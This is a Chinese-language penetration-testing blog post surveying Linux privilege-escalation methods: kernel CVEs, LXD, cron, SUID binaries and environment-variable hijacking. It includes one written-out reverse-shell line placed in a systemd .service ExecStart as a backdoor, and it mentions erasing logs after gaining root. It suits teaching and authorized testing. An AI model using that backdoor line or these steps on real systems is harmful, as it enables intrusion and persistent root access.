[Day28] Linux Privilege Escalation

前言

快要结束了,今明两天会讲点拿下Server Initial Access(foothold)之後的权限提升。

正文

在渗透测试期间,若是成功拿到Initial Access通常是漏洞发生的Service的权限,例如假设在网站上拿到RCE并成功弹回Reverse Shell,常常会是www-data或是使用Apache Service的apache帐户,这种权限通常非常低,甚至也不会有正常的tty可以使用(可参考Day24 Bind Shell/Reverse Shell),之前也提过一些方法可以升级tty。在这种情况下,通常会寻求额外的访问权限,不管是垂直提权横向(水平)提权,通常在渗透测试中,最终目标都是拿到整个机器的管理权限,也就是root或Administrator,确保可以最大程度影响/操纵整台Server,这也就是Privilege Escalation,权限提升。而今天的主题将会讲述常见的Linux提权方法。

  • 垂直提权: 攻击者能获得比现有帐户更高的访问权限,例如www-data到普通帐户craig到管理员权限的root。每个权限提升都会拿到比原本更多的执行权限,很多在www-data无法执行的操作,会在craig中得到,例如拥有完整的home目录、或是craig本身是开发者的话,也可能浏览到此人负责开发的project,取得原始码。再到root时,更是可以随意的更改帐户权限,擦除一些入侵痕迹(log)、窃取该机器上的所有帐户创建的内容或是植入後门等等。

  • 水平提权/横向移动: 攻击者能够获得与现有帐户相同的访问权限,但可以访问其他原本无访问权限的帐户内容,例如CraigAngel,各是Server上拥有相同管理权限,却各有不同内容的帐户,攻击者可以透过访问不同用户取得不同用户可以使用的"功能"和资料。

提权主要有几种方法:

  1. Kernel漏洞

例如CVE-2016-5195的DirtyCow或是sudo(CVE-2021-3156)

  1. Driver

例如CVE-2020-12464,USB Driver(严格意义上也属於Linux Kernel)

  1. Software

可以透过dpkg,rpm查看已安装的软件包,例如旧版本的Nagios。
或是像lxd,如果你的user有在lxd的group中,可以透过lxd init开启LXD的程序,透过一些设定和操作,就可以拿来提权,过程十分简单。

  1. Process

可以查看是否有service运行比原本预设更高的权限,例如在local中运行的service或是以root运行的某个网站功能。

  1. cron

查看是否有其他帐户运行的cron job。一个曾遇过的状况是一个以root运行的script,但用户可以修改此script。

  1. .service

若是有限有帐户可以修改或新增的.service权限,就可以在服务启动、重启时执行後门,例如写入

ExecStart=/bin/bash -c 'bash' -i >& /dev/tcp/craig/1234 0>&1'
  1. Unix Binary(SUID/SGID)

种类实在太多,这边简单列出几个

SUID

  • gdb
  • openssl
  • vim
  • node
  • docker
  • find

更多可以参考GTFOBins

  1. Environment Variables

例如LD_PRELOAD
也可以查看再$PATH中的某个目录下是否可以写入档案,可以通过在一个可写的目录中写入一个後门或含有执行Shell或Reverse Shell的档案。

除了上述提到的这些,还有像是Sudo Tokens重用、Backup档案、NFS PrivEsc、rbash escape、logstash、Docker Breakout等等,族繁不及备载。

当然也有人将这些常见漏洞,写成script,方便提权时使用,知名如

建议如果在渗透测试需要进行提权时,交叉使用不一样的script,搭配手动测试可以得到最好的效果,也比较不容易遗漏。


<<:  Day28 - this&Object Prototypes Ch3 Objects - Review

>>:  Day28:Update the Data and the Featured View

k8s elk 架设elastalert - 对slack发出及时的警报系统

【YC的寻路青春】 架设好elk之後,除了kibana可以看以外 想要做及时的警报系统 我们这边选择...

D-27. 编译直译、动态静态、强型弱型 && Leetcode:Add Digits && Move Zeroes

Ruby是直译语言 程序码要能让电脑读懂,一定会有一个转译过程。 编译(Compiled langu...

Day23 参加职训(机器学习与资料分析工程师培训班),Django

今日细说Django内Template的使用方法及概念,套用一些Bootstrap及练习使用For回...

005-元件名称_2

关於上篇提到的元件,对我而言,属於在讨论阶段,会比较经常拿出来讨论的元件。真正在实作以及管理画面时,...

【左京淳的Spring学习笔记】基础案例

使用首页、输入画面、输出画面等三个基础画面,来熟悉画面之间跳转及资料移动的原理。 本练习不涉及业务...